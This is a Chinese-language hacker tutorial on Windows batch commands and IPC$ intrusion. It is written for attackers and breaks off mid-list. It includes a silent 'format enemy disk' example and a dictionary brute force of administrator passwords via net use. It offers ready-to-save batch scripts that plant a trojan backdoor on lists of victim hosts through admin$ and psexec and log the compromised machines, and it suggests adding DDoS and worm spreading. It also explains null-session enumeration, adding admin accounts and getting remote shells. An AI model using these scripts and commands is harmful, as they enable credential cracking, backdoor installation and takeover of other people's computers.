黑客常用 命令2(批處理命令) | |||
批處理命令 1、Echo?命令 打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo?命令將顯示當前回顯設置。 語法 echo?[{on│off}]?[message] Sample:@echo?off?/?echo?hello?world 在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用>?>>?^)結合來實現輸入一 些命令到特定格式的文件中.這將在以后的例子中體現出來。? 2.@?命令 表示不顯示@后面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然不能讓對方看到你使用的命 令啦。 Sample:@echo?off @echo?Now?initializing?the?program,please?wait?a?minite... @format?X:?/q/u/autoset?(format?這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個 參數給我們,效果和/y是一樣的。) 3.Goto?命令 指定跳轉到標簽,找到標簽后,程序將處理從下一行開始的命令。 語法:goto?label?(label是參數,指定所要轉向的批處理程序中的行。)? Sample: if?{%1}=={}?goto?noparms if?{%2}=={}?goto?noparms(如果這里的if、%1、%2你不明白的話,先跳過去,后面會有詳細的解釋。) @Rem?check?parameters?if?null?show?usage :noparms echo?Usage:?monitor.bat?ServerIP?PortNumber goto?end 標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根 據這個:來尋找下一步跳到到那里。最好有一些說明這樣你別人看起來才會理解你的意圖啊。 4.Rem?命令 注釋命令,在C語言中相當與/*--------*/,它并不會被執行,只是起一個注釋的作用,便于別人閱讀和你自己日后 修改。 Rem?Message Sample:@Rem?Here?is?the?description. 5.Pause?命令 運行?Pause?命令時,將顯示下面的消息:? Press?any?key?to?continue?.?.?.? Sample: @echo?off? :begin? copy?a:*.*?d:\back echo?Please?put?a?new?disk?into?driver?A? pause? goto?begin? 在這個例子中,驅動器?A?中磁盤上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁盤放入驅動器? A?時,pause?命令會使程序掛起,以便您更換磁盤,然后按任意鍵繼續處理。 6.Call?命令 從一個批處理程序調用另一個批處理程序,并且不終止父批處理程序。call?命令接受用作調用目標的標簽。如果在 腳本或批處理文件外使用?Call,它將不會在命令行起作用。 語法 call?[[Drive:][Path]?FileName?[BatchParameters]]?[:label?[arguments]] 參數 [Drive:}[Path]?FileName? 指定要調用的批處理程序的位置和名稱。filename?參數必須具有?.bat?或?.cmd?擴展名。 7.start?命令 調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。 入侵常用參數: MIN?開始時窗口最小化 SEPARATE?在分開的空間內開始?16?位?Windows?程序 HIGH?在?HIGH?優先級類別開始應用程序 REALTIME?在?REALTIME?優先級類別開始應用程序 WAIT?啟動應用程序并等候它結束 parameters?這些為傳送到命令/程序的參數 執行的應用程序是?32-位?GUI?應用程序時,CMD.EXE?不等應用程序終止就返回命令提示。如果在命令腳本內執 行,該新行為則不會發生。 8.choice?命令 choice?使用此命令可以讓用戶輸入一個字符,從而運行不同的命令。使用時應該加/c:參數,c:后應寫提示可輸入 的字符,之間無空格。它的返回碼為1234…… 如:?choice?/c:dme?defrag,mem,end 將顯示 defrag,mem,end[D,M,E]? Sample: test.bat的內容如下:? @echo?off? choice?/c:dme?defrag,mem,end? if?errorlevel?3?goto?defrag?(應先判斷數值最高的錯誤碼) if?errorlevel?2?goto?mem? if?errotlevel?1?goto?end? :defrag? c:\dos\defrag? goto?end? :mem? mem? goto?end? :end? echo?good?bye 此文件運行后,將顯示?defrag,mem,end[D,M,E]??用戶可選擇d?m?e?,然后if語句將作出判斷,d表示執行標 號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最后都以 goto?end將程序跳到end標號處,然后程序將顯示good?bye,文件結束。 9.If?命令 if?表示將判斷是否符合規定的條件,從而決定執行不同的命令。?有三種格式:? 1、if?"參數"?==?"字符串"? 待執行的命令? 參數如果等于指定的字符串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號) 如if?"%1"=="a"?format?a:? if?{%1}=={}?goto?noparms if?{%2}=={}?goto?noparms 2、if?exist?文件名 ?待執行的命令? 如果有指定的文件,則條件成立,運行命令,否則運行下一句。 如if?exist?config.sys?edit?config.sys? 3、if?errorlevel?/?if?not?errorlevel?數字 ?待執行的命令? 如果返回碼等于指定的數字,則條件成立,運行命令,否則運行下一句。 如if?errorlevel?2?goto?x2? DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。 10.for?命令 for?命令是一個比較復雜的命令,主要用于參數在指定的范圍內循環執行命令。 在批處理文件中使用?FOR?命令時,指定變量請使用?%%variable for?{%variable│%%variable}?in?(set)?do?command?[?CommandLineOptions] %variable?指定一個單一字母可替換的參數。 (set)?指定一個或一組文件。可以使用通配符。 command?指定對每個文件執行的命令。 command-parameters?為特定命令指定參數或命令行開關。 在批處理文件中使用?FOR?命令時,指定變量請使用?%%variable 而不要用?%variable。變量名稱是區分大小寫的,所以?%i?不同于?%I 如果命令擴展名被啟用,下列額外的?FOR?命令格式會受到 支持: FOR?/D?%variable?IN?(set)?DO?command?[command-parameters] 如果集中包含通配符,則指定與目錄名匹配,而不與文件 名匹配。 FOR?/R?[[drive:]path]?%variable?IN?(set)?DO?command?[command- 檢查以?[drive:]path?為根的目錄樹,指向每個目錄中的 FOR?語句。如果在?/R?后沒有指定目錄,則使用當前 目錄。如果集僅為一個單點(.)字符,則枚舉該目錄樹。 FOR?/L?%variable?IN?(start,step,end)?DO?command?[command-para 該集表示以增量形式從開始到結束的一個數字序列。 因此,(1,1,5)?將產生序列?1?2?3?4?5,(5,-1,1)?將產生 序列?(5?4?3?2?1)。 FOR?/F?["options"]?%variable?IN?(file-set)?DO?command? FOR?/F?["options"]?%variable?IN?("string")?DO?command? FOR?/F?["options"]?%variable?IN?('command')?DO?command? 或者,如果有?usebackq?選項: FOR?/F?["options"]?%variable?IN?(file-set)?DO?command? FOR?/F?["options"]?%variable?IN?("string")?DO?command? FOR?/F?["options"]?%variable?IN?('command')?DO?command? filenameset?為一個或多個文件名。繼續到?filenameset?中的 下一個文件之前,每份文件都已被打開、讀取并經過處理。 處理包括讀取文件,將其分成一行行的文字,然后將每行 解析成零或更多的符號。然后用已找到的符號字符串變量值 調用?For?循環。以默認方式,/F?通過每個文件的每一行中分開 的第一個空白符號。跳過空白行。您可通過指定可選?"options" 參數替代默認解析操作。這個帶引號的字符串包括一個或多個 指定不同解析選項的關鍵字。這些關鍵字為: eol=c?-?指一個行注釋字符的結尾(就一個) skip=n?-?指在文件開始時忽略的行數。 delims=xxx?-?指分隔符集。這個替換了空格和跳格鍵的 默認分隔符集。 tokens=x,y,m-n?-?指每行的哪一個符號被傳遞到每個迭代 的?for?本身。這會導致額外變量名稱的 格式為一個范圍。通過?nth?符號指定?m 符號字符串中的最后一個字符星號, 那么額外的變量將在最后一個符號解析之 分配并接受行的保留文本。 usebackq?-?指定新語法已在下類情況中使用: 在作為命令執行一個后引號的字符串并且 引號字符為文字字符串命令并允許在?fi 中使用雙引號擴起文件名稱。 sample1: FOR?/F?"eol=;?tokens=2,3*?delims=,?"?%i?in?(myfile.txt)?do?command 會分析?myfile.txt?中的每一行,忽略以分號打頭的那些行,將 每行中的第二個和第三個符號傳遞給?for?程序體;用逗號和/或 空格定界符號。請注意,這個?for?程序體的語句引用?%i?來 取得第二個符號,引用?%j?來取得第三個符號,引用?%k 來取得第三個符號后的所有剩余符號。對于帶有空格的文件 名,您需要用雙引號將文件名括起來。為了用這種方式來使 用雙引號,您還需要使用?usebackq?選項,否則,雙引號會 被理解成是用作定義某個要分析的字符串的。 %i?專門在?for?語句中得到說明,%j?和?%k?是通過 tokens=?選項專門得到說明的。您可以通過?tokens=?一行 指定最多?26?個符號,只要不試圖說明一個高于字母?'z'?或 'Z'?的變量。請記住,FOR?變量是單一字母、分大小寫和全局的; 同時不能有?52?個以上都在使用中。 您還可以在相鄰字符串上使用?FOR?/F?分析邏輯;方法是, 用單引號將括號之間的?filenameset?括起來。這樣,該字符 串會被當作一個文件中的一個單一輸入行。 最后,您可以用?FOR?/F?命令來分析命令的輸出。方法是,將 括號之間的?filenameset?變成一個反括字符串。該字符串會 被當作命令行,傳遞到一個子?CMD.EXE,其輸出會被抓進 內存,并被當作文件分析。因此,以下例子: FOR?/F?"usebackq?delims=="?%i?IN?(`set`)?DO?@echo?%i 會枚舉當前環境中的環境變量名稱。 另外,FOR?變量參照的替換已被增強。您現在可以使用下列 選項語法: ~I?-?刪除任何引號("),擴充?%I %~fI?-?將?%I?擴充到一個完全合格的路徑名 %~dI?-?僅將?%I?擴充到一個驅動器號 %~pI?-?僅將?%I?擴充到一個路徑 %~nI?-?僅將?%I?擴充到一個文件名 %~xI?-?僅將?%I?擴充到一個文件擴展名 %~sI?-?擴充的路徑只含有短名 %~aI?-?將?%I?擴充到文件的文件屬性 %~tI?-?將?%I?擴充到文件的日期/時間 %~zI?-?將?%I?擴充到文件的大小 %~$PATH:I?-?查找列在路徑環境變量的目錄,并將?%I?擴充 到找到的第一個完全合格的名稱。如果環境變量 未被定義,或者沒有找到文件,此組合鍵會擴充 空字符串 可以組合修飾符來得到多重結果: %~dpI?-?僅將?%I?擴充到一個驅動器號和路徑 %~nxI?-?僅將?%I?擴充到一個文件名和擴展名 %~fsI?-?僅將?%I?擴充到一個帶有短名的完整路徑名 %~dp$PATH:i?-?查找列在路徑環境變量的目錄,并將?%I?擴充 到找到的第一個驅動器號和路徑。 %~ftzaI?-?將?%I?擴充到類似輸出線路的?DIR 在以上例子中,%I?和?PATH?可用其他有效數值代替。%~?語法 用一個有效的?FOR?變量名終止。選取類似?%I?的大寫變量名 比較易讀,而且避免與不分大小寫的組合鍵混淆。 以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。 sample2: 利用For命令來實現對一臺目標Win2k主機的暴力密碼破解。 我們用net?use?\\ip\ipc$?"password"?/u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密 碼。 最主要的命令是一條:for?/f?i%?in?(dict.txt)?do?net?use?\\ip\ipc$?"i%"?/u:"administrator" 用i%來表示admin的密碼,在dict.txt中這個取i%的值用net?use?命令來連接。然后將程序運行結果傳遞給find 命令-- for?/f?i%%?in?(dict.txt)?do?net?use?\\ip\ipc$?"i%%"?/u:"administrator"│find?":命令成功完成">&g t;D:\ok.txt?,這樣就ko了。 sample3: 你有沒有過手里有大量肉雞等著你去種后門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁 悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那么如何實現呢?呵呵,看下去你就會明 白了。 主要命令也只有一條:(在批處理文件中使用?FOR?命令時,指定變量使用?%%variable) @for?/f?"tokens=1,2,3?delims=?"?%%i?in?(victim.txt)?do?start?call?cultivate.bat?%%i?%%j?%%k tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給cultivate.bat中的參 數%i?%j?%k。 而cultivate.bat無非就是用net?use命令來建立IPC$連接,并copy木馬+后門到victim并用返回碼(If?errorle ver?=)來篩選成功種植后門的主機并echo出來,或者echo到文件。 delims=?表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什么樣 的了。應該根據%%i?%%j?%%k表示的對象來,一般就是?ip?password?username。 ---------------?cut?here?then?save?as?a?batchfile(I?call?it?main.bat?)?--------------------------- @echo?off @if?"%1"==""?goto?usage @for?/f?"tokens=1,2,3?delims=?"?%%i?in?(victim.txt)?do?start?call?IPChack.bat?%%i?%%j?%%k @goto?end :usage @echo?run?this?batch?in?dos?modle.or?just?double-click?it. :end ---------------?cut?here?then?save?as?a?batchfile(I?call?it?main.bat?)?--------------------------- -------------------?cut?here?then?save?as?a?batchfile(I?call?it?door.bat)?----------------------------- @net?use?\\%1\ipc$?%3?/u:"%2" @if?errorlevel?1?goto?failed @echo?Trying?to?establish?the?IPC$?connection?…………OK @copy?windrv32.exe\\%1\admin$\system32?&&?if?not?errorlevel?1?echo?IP?%1?USER?%2?PWD? %3?>>ko.txt @p***ec?\\%1?c:\winnt\system32\windrv32.exe @p***ec?\\%1?net?start?windrv32?&&?if?not?errorlevel?1?echo?%1?Backdoored?>>ko.txt :failed @echo?Sorry?can?not?connected?to?the?victim. -----------------?cut?here?then?save?as?a?batchfile(I?call?it?door.bat)?-------------------------------- 這只是一個自動種植后門批處理的雛形,兩個批處理和后門程序(Windrv32.exe),PSexec.exe需放在統一目 錄下.批處理內容 尚可擴展,例如:加入清除日志+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕 蟲).此處不多做敘述,有興趣的朋友可自行研究. |
黑客常用 命令5(ipc$命令) | |||
一?摘要 注意:本文所討論的各種情況均默認發生在win?NT/2000環境下,win98將不在此次討論之列。 二?什么是ipc$ IPC$(Internet?Process?Connection)是共享"命名管道"的資源,它是為了讓進程間通信而開放的命名管道, 通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道并以此通道進行加密數據的交換,從而實現對遠程 計算機的訪問。IPC$是NT/2000的一項新功能,它有一個特點,即在同一時間內,兩個IP之間只允許建立一個連 接。NT/2000在提供了ipc$功能的同時,在初次安裝系統時還打開了默認共享,即所有的邏輯共享(c$,d$,e$ ……)和系統目錄winnt或windows(admin$)共享。所有的這些,微軟的初衷都是為了方便管理員的管理,但在 有意無意中,導致了系統安全性的降低。 平時我們總能聽到有人在說ipc$漏洞,ipc$漏洞,其實ipc$并不是一個真正意義上的漏洞,我想之所以有人這么 說,一定是指微軟自己安置的那個‘后門’:空會話(Null?session)。那么什么是空會話呢? 三?什么是空會話 在介紹空會話之前,我們有必要了解一下一個安全會話是如何建立的。 在Windows?NT?4.0中是使用挑戰響應協議與遠程機器建立一個會話的,建立成功的會話將成為一個安全隧道, 建立雙方通過它互通信息,這個過程的大致順序如下:? 1)會話請求者(客戶)向會話接收者(服務器)傳送一個數據包,請求安全隧道的建? 立;? 2)服務器產生一個隨機的64位數(實現挑戰)傳送回客戶;? 3)客戶取得這個由服務器產生的64位數,用試圖建立會話的帳號的口令打亂它,將結? 果返回到服務器(實現響應);? 4)服務器接受響應后發送給本地安全驗證(LSA),LSA通過使用該用戶正確的口令來核實響應以便確認請求者 身份。如果請求者的帳號是服務器的本地帳號,核實本地發生;如果請求的帳號是一個域的帳號,響應傳送到域控 制器去核實。當對挑戰的響應核實為正確后,一個訪問令牌產生,然后傳送給客戶。客戶使用這個訪問令牌連接到 服務器上的資源直到建議的會話被終止。 以上是一個安全會話建立的大致過程,那么空會話又如何呢? 空會話是在沒有信任的情況下與服務器建立的會話(即未提供用戶名與密碼),但根據WIN2000的訪問控制模 型,空會話的建立同樣需要提供一個令牌,可是空會話在建立過程中并沒有經過用戶信息的認證,所以這個令牌中 不包含用戶信息,因此,這個會話不能讓系統間發送加密信息,但這并不表示空會話的令牌中不包含安全標識符S ID(它標識了用戶和所屬組),對于一個空會話,LSA提供的令牌的SID是S-1-5-7,這就是空會話的SID,用戶 名是:ANONYMOUS?LOGON(這個用戶名是可以在用戶列表中看到的,但是是不能在SAM數據庫中找到,屬于 系統內置的帳號),這個訪問令牌包含下面偽裝的組:? Everyone? Network 在安全策略的限制下,這個空會話將被授權訪問到上面兩個組有權訪問到的一切信息。那么建立空會話到底可以作 什么呢?? 四?空會話可以做什么? 對于NT,在默認安全設置下,借助空連接可以列舉目標主機上的用戶和共享,訪問everyone權限的共享,訪問 小部分注冊表等,并沒有什么太大的利用價值;對2000作用更小,因為在Windows?2000?和以后版本中默認只 有管理員和備份操作員有權從網絡訪問到注冊表,而且實現起來也不方便,需借助工具。 從這些我們可以看到,這種非信任會話并沒有多大的用處,但從一次完整的ipc$入侵來看,空會話是一個不可缺 少的跳板,因為我們從它那里可以得到戶列表,而大多數弱口令掃描工具就是利用這個用戶列表來進行口令猜解 的,成功的導出用戶列表大大增加了猜解的成功率,僅從這一點,足以說明空會話所帶來的安全隱患,因此說空會 話毫無用處的說法是不正確的。以下是空會話中能夠使用的一些具體命令: 1?首先,我們先建立一個空連接(當然,這需要目標開放ipc$) 命令:net?use?\\ip\ipc$?""?/user:"" 注意:上面的命令包括四個空格,net與use中間有一個空格,use后面一個,密碼左右各一個空格。 2?查看遠程主機的共享資源 命令:net?view?\\ip 解釋:前提是建立了空連接后,用此命令可以查看遠程主機的共享資源,如果它開了共享,可以得到如下面的結 果,但此命令不能顯示默認共享。 在?\\*.*.*.*的共享資源 資源共享名?類型?用途?注釋 ----------------------------------------------------------- NETLOGON?Disk?Logon?server?share SYSVOL?Disk?Logon?server?share 命令成功完成。 3?查看遠程主機的當前時間 命令:?net?time?\\ip 解釋:用此命令可以得到一個遠程主機的當前時間。 4?得到遠程主機的NetBIOS用戶名列表(需要打開自己的NBT) 命令:nbtstat?-A?ip 用此命令可以得到一個遠程主機的NetBIOS用戶名列表,返回如下結果: Node?IpAddress:?[*.*.*.*]?Scope?Id:?[] NetBIOS?Remote?Machine?Name?Table Name?Type?Status --------------------------------------------- SERVER?<00>?UNIQUE?Registered OYAMANISHI-H?<00>?GROUP?Registered OYAMANISHI-H?<1C>?GROUP?Registered SERVER?<20>?UNIQUE?Registered OYAMANISHI-H?<1B>?UNIQUE?Registered OYAMANISHI-H?<1E>?GROUP?Registered SERVER?<03>?UNIQUE?Registered OYAMANISHI-H?<1D>?UNIQUE?Registered ..__MSBROWSE__.<01>?GROUP?Registered INet~Services?<1C>?GROUP?Registered IS~SERVER......<00>?UNIQUE?Registered MAC?Address?=?00-50-8B-9A-2D-37 以上就是我們經常使用空會話做的事情,好像也能獲得不少東西喲,不過要注意一點:建立IPC$連接的操作會在 Event?Log中留下記錄,不管你是否登錄成功。?好了,那么下面我們就來看看ipc$所使用的端口是什么? 五?ipc$所使用的端口 首先我們來了解一些基礎知識: 1?SMB:(Server?Message?Block)?Windows協議族,用于文件打印共享的服務; 2?NBT:(NETBios?Over?TCP/IP)使用137(UDP)138(UDP)139(TCP)端口實現基于TCP/IP協議的NET BIOS網絡互聯。 3?在WindowsNT中SMB基于NBT實現,即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT 實現,還可以直接通過445端口實現。 有了這些基礎知識,我們就可以進一步來討論訪問網絡共享對端口的選擇了: 對于win2000客戶端(發起端)來說: 1?如果在允許NBT的情況下連接服務器時,客戶端會同時嘗試訪問139和445端口,如果445端口有響應,那么就 發送RST包給139端口斷開連接,用455端口進行會話,當445端口無響應時,才使用139端口,如果兩個端口都 沒有響應,則會話失敗; 2?如果在禁止NBT的情況下連接服務器時,那么客戶端只會嘗試訪問445端口,如果445端口無響應,那么會話失 敗。 對于win2000服務器端來說: 1?如果允許NBT,?那么UDP端口137,?138,?TCP?端口?139,?445將開放(LISTENING); 2?如果禁止NBT,那么只有445端口開放。 我們建立的ipc$會話對端口的選擇同樣遵守以上原則。顯而易見,如果遠程服務器沒有監聽139或445端口,ip c$會話是無法建立的。 六?ipc管道在hack攻擊中的意義 ipc管道本來是微軟為了方便管理員進行遠程管理而設計的,但在入侵者看來,開放ipc管道的主機似乎更容易得 手。通過ipc管道,我們可以遠程調用一些系統函數(大多通過工具實現,但需要相應的權限),這往往是入侵成 敗的關鍵。如果不考慮這些,僅從傳送文件這一方面,ipc管道已經給了入侵者莫大的支持,甚至已經成為了最重 要的傳輸手段,因此你總能在各大論壇上看到一些朋友因為打不開目標機器的ipc管道而一籌莫展大呼救命。當 然,我們也不能忽視權限在ipc管道中扮演的重要角色,想必你一定品嘗過空會話的尷尬,沒有權限,開啟管道我 們也無可奈何。但入侵者一旦獲得了管理員的權限,那么ipc管道這把雙刃劍將顯示出它猙獰的一面。 七?ipc$連接失敗的常見原因 以下是一些常見的導致ipc$連接失敗的原因: 1?IPC連接是Windows?NT及以上系統中特有的功能,由于其需要用到Windows?NT中很多DLL函數,所以不能 在Windows?9.x/Me系統中運行,也就是說只有nt/2000/xp才可以相互建立ipc$連接,98/me是不能建立ip c$連接的; 2?如果想成功的建立一個ipc$連接,就需要響應方開啟ipc$共享,即使是空連接也是這樣,如果響應方關閉了ip c$共享,將不能建立連接; 3?連接發起方未啟動Lanmanworkstation服務(顯示名為:Workstation):它提供網絡鏈結和通訊,沒有它 發起方無法發起連接請求; 4?響應方未啟動Lanmanserver服務(顯示名為:Server):它提供了?RPC?支持、文件、打印以及命名管道共 享,ipc$依賴于此服務,沒有它主機將無法響應發起方的連接請求,不過沒有它仍可發起ipc$連接; 5?響應方未啟動NetLogon,它支持網絡上計算機?pass-through?帳戶登錄身份(不過這種情況好像不多); 6?響應方的139,445端口未處于監聽狀態或被防火墻屏蔽; 7?連接發起方未打開139,445端口; 8?用戶名或者密碼錯誤:如果發生這樣的錯誤,系統將給你類似于'無法更新密碼'這樣的錯誤提示(顯然空會話 排除這種錯誤); 9?命令輸入錯誤:可能多了或少了空格,當用戶名和密碼中不包含空格時兩邊的雙引號可以省略,如果密碼為空, 可以直接輸入兩個引號""即可; 10?如果在已經建立好連接的情況下對方重啟計算機,那么ipc$連接將會自動斷開,需要重新建立連接。? 另外,你也可以根據返回的錯誤號分析原因:? 錯誤號5,拒絕訪問:很可能你使用的用戶不是管理員權限的;? 錯誤號51,Windows無法找到網絡路徑:網絡有問題;? 錯誤號53,找不到網絡路徑:ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火墻(端口 過濾);? 錯誤號67,找不到網絡名:你的lanmanworkstation服務未啟動或者目標刪除了ipc$;? 錯誤號1219,提供的憑據與已存在的憑據集沖突:你已經和對方建立了一個ipc$,請刪除再連;? 錯誤號1326,未知的用戶名或錯誤密碼:原因很明顯了;? 錯誤號1792,試圖登錄,但是網絡登錄服務沒有啟動:目標NetLogon服務未啟動; 錯誤號2242,此用戶的密碼已經過期:目標有帳號策略,強制定期要求更改密碼。? 八?復制文件失敗的原因 有些朋友雖然成功的建立了ipc$連接,但在copy時卻遇到了這樣那樣的麻煩,無法復制成功,那么導致復制失敗 的常見原因又有哪些呢? 1?對方未開啟共享文件夾 這類錯誤出現的最多,占到50%以上。許多朋友在ipc$連接建立成功后,甚至都不知道對方是否有共享文件夾, 就進行盲目復制,結果導致復制失敗而且郁悶的很。因此我建議大家在進行復制之前務必用net?view?\\IP這個命 令看一下你想要復制的共享文件夾是否存在(用軟件查看當然更好),不要認為能建立ipc$連接就一定有共享文 件夾存在。 2?向默認共享復制失敗 這類錯誤也是大家經常犯的,主要有兩個小方面: 1)錯誤的認為能建立ipc$連接的主機就一定開啟了默認共享,因而在建立完連接之后馬上向c$,d$,admin$之類 的默認共享復制文件,一旦對方未開啟默認共享,將導致復制失敗。ipc$連接成功只能說明對方打開了ipc$共 享,并不能說明默認共享一定存在。ipc$共享與默認共享是兩碼事,ipc$共享是一個命名管道,并不是哪個實際 的文件夾,而默認共享卻是實實在在的共享文件夾; 2)由于net?view?\\IP?這個命令無法顯示默認共享文件夾(因為默認共享帶$),因此通過這個命令,我們并不 能判斷對方是否開啟了默認共享,因此如果對方未開啟默認共享,那么所有向默認共享進行的操作都不能成功; (不過大部分掃描軟件在掃弱口令的同時,都能掃到默認共享目錄,可以避免此類錯誤的發生) 要點:請大家一定區分ipc共享,默認共享,普通共享這三者的區別:ipc共享是一個管道,并不是實際的共享文件 夾;默認共享是安裝時默認打開的文件夾;普通共享是我們自己開啟的可以設置權限的共享文件夾。 3用戶權限不夠,包括四種情形: 1)空連接向所有共享(默認共享和普通共享)復制時,權限是不夠的; 2)向默認共享復制時,在Win2000?Pro版中,只有Administrators和Backup?Operators組成員才可以,在 Win2000?Server版本?Server?Operatros組也可以訪問到這些共享目錄;? 3)向普通共享復制時,要具有相應權限(即對方管理員事先設定的訪問權限); 4)對方可以通過防火墻或安全軟件的設置,禁止外部訪問共享; 注意: 1?不要認為administrator就一定具有管理員權限,管理員名稱是可以改的 2?管理員可以訪問默認共享的文件夾,但不一定能夠訪問普通的共享文件夾,因為管理員可以對普通的共享文件夾 進行訪問權限設置,如圖6,管理員為D盤設置的訪問權限為僅允許名為xinxin的用戶對該文件夾進行完全訪問, 那么此時即使你擁有管理員權限,你仍然不能訪問D盤。不過有意思的是,如果此時對方又開啟了D$的默認共 享,那么你卻可以訪問D$,從而繞過了權限限制,有興趣的朋友可以自己做測試。 4被防火墻殺死或在局域網 還有一種情況,那就是也許你的復制操作已經成功,但當遠程運行時,被防火墻殺掉了,導致找不到文件;或者你 把木馬復制到了局域網內的主機,導致連接失敗(反向連接的木馬不會發生這種情況)。如果你沒有想到這種情 況,你會以為是復制上出了問題,但實際你的復制操作已經成功了,只是運行時出了問題。 呵呵,大家也知道,ipc$連接在實際操作過程中會出現各種各樣的問題,上面我所總結的只是一些常見錯誤,沒 說到的,大家可以給我提個醒兒。 九?關于at命令和xp對ipc$的限制 本來還想說一下用at遠程運行程序失敗的原因,但考慮到at的成功率不是很高,問題也很多,在這里就不提它了 (提的越多,用的人就越多),而是推薦大家用p***ec.exe遠程運行程序,假設想要遠程機器執行本地c:\xinxi n.exe文件,且管理員為administrator,密碼為1234,那么輸入下面的命令: p***ec?\\ip?-u?administrator?-p?1234?-c?c:\xinxin.exe 如果已經建立ipc連接,則-u?-p這兩個參數不需要,p***ec.exe將自動拷貝文件到遠程機器并運行。 本來xp中的ipc$也不想在這里討論,想單獨拿出來討論,但看到越來越多的朋友很急切的提問為什么遇到xp的時 候,大部分操作都很難成功。我在這里就簡單提一下吧,在xp的默認安全選項中,任何遠程訪問僅被賦予來賓權 限,也就是說即使你是用管理員帳戶和密碼,你所得到的權限也只是Guest,因此大部分操作都會因為權限不夠 而失敗,而且到目前為止并沒有一個好的辦法來突破這一限制。所以如果你真的得到了xp的管理員密碼,我建議 你盡量避開ipc管道。 十?如何打開目標的IPC$共享以及其他共享 目標的ipc$不是輕易就能打開的,否則就要天下打亂了。你需要一個admin權限的shell,比如telnet,木馬,c md重定向等,然后在shell下執行: net?share?ipc$ 開放目標的ipc$共享; net?share?ipc$?/del 關閉目標的ipc$共享;如果你要給它開共享文件夾,你可以用: net?share?xinxin=c:\ 這樣就把它的c盤開為共享名為xinxin共享文件夾了。(可是我發現很多人錯誤的認為開共享文件夾的命令是net? share?c$,還大模大樣的給菜鳥指指點點,真是誤人子弟了)。再次聲明,這些操作都是在shell下才能實現的。 十一?一些需要shell才能完成的命令 看到很多教程這方面寫的十分不準確,一些需要shell才能完成命令就簡簡單單的在ipc$連接下執行了,起了誤導 作用。那么下面我總結一下需要在shell才能完成的命令: 1?向遠程主機建立用戶,激活用戶,修改用戶密碼,加入管理組的操作需要在shell下完成; 2?打開遠程主機的ipc$共享,默認共享,普通共享的操作需要在shell下完成; 3?運行/關閉遠程主機的服務,需要在shell下完成; 4?啟動/殺掉遠程主機的進程,也需要在shell下完成(用軟件的情況下除外,如pskill)。 十二?入侵中可能會用到的命令 為了這份教程的完整性,我列出了ipc$入侵中的一些常用命令,如果你已經掌握了這些命令,你可以跳過這一部 分看下面的內容。請注意這些命令是適用于本地還是遠程,如果只適用于本地,你只能在獲得遠程主機的shell (如cmd,telnet等)后,才能向遠程主機執行。 1?建立/刪除ipc$連接的命令 1)建立空連接: net?use?\\127.0.0.1\ipc$?""?/user:""? 2)建立非空連接: net?use?\\127.0.0.1\ipc$?"密碼"?/user:"用戶名"? 3)刪除連接: net?use?\\127.0.0.1\ipc$?/del 2?在ipc$連接中對遠程主機的操作命令 1)?查看遠程主機的共享資源(看不到默認共享): net?view?\\127.0.0.1? 2)?查看遠程主機的當前時間: net?time?\\127.0.0.1? 3)?得到遠程主機的netbios用戶名列表: nbtstat?-A?127.0.0.1? 4)映射/刪除遠程共享: net?use?z:?\\127.0.0.1\c? 此命令將共享名為c的共享資源映射為本地z盤? net?use?z:?/del? 刪除映射的z盤,其他盤類推 5)向遠程主機復制文件: copy?路徑\文件名?\\IP\共享目錄名,如: copy?c:\xinxin.exe?\\127.0.0.1\c$?即將c盤下的xinxin.exe復制到對方c盤內 當然,你也可以把遠程主機上的文件復制到自己的機器里: copy?\\127.0.0.1\c$\xinxin.exe?c:\ 6)遠程添加計劃任務: at?\\IP?時間?程序名?如: at?\\127.0.0.0?11:00?xinxin.exe 注意:時間盡量使用24小時制;如果你打算運行的程序在系統默認搜索路徑(比如system32/)下則不用加路 徑,否則必須加全路徑 3?本地命令 1)查看本地主機的共享資源(可以看到本地的默認共享) net?share 2)得到本地主機的用戶列表 net?user 3)顯示本地某用戶的帳戶信息 net?user?帳戶名 4)顯示本地主機當前啟動的服務 net?start? 5)啟動/關閉本地服務 net?start?服務名? net?stop?服務名? 6)在本地添加帳戶 net?user?帳戶名?密碼?/add 7)激活禁用的用戶 net?uesr?帳戶名?/active:yes 8)加入管理員組 net?localgroup?administrators?帳戶名?/add? 很顯然的是,雖然這些都是本地命令,但如果你在遠程主機的shell中輸入,比如你telnet成功后輸入上面這些命 令,那么這些本地輸入將作用在遠程主機上。 4?其他一些命令 1)telnet? telnet?IP?端口 telnet?127.0.0.0?23 2)用opentelnet.exe開啟遠程主機的telnet OpenTelnet.exe?\\ip?管理員帳號?密碼?NTLM的認證方式?port OpenTelnet.exe?\\127.0.0.1?administrator?""?1?90 不過這個小工具需要滿足四個要求: 1)目標開啟了ipc$共享 2)你要擁有管理員密碼和帳號 3)目標開啟RemoteRegistry服務,用戶就可以更改ntlm認證 4)對僅WIN2K/XP有效 3)用p***ec.exe一步獲得shell,需要ipc管道支持 p***ec.exe?\\IP?-u?管理員帳號?-p?密碼?cmd p***ec.exe?\\127.0.0.1?-u?administrator?-p?""?cmd 十三?對比過去和現今的ipc$入侵 既然是對比,那么我就先把過去的ipc$入侵步驟寫給大家,都是蠻經典的步驟: [1] C:\>net?use?\\127.0.0.1\ipc$?""?/user:admintitrators \\用掃到的空口令建立連接 ? [2] 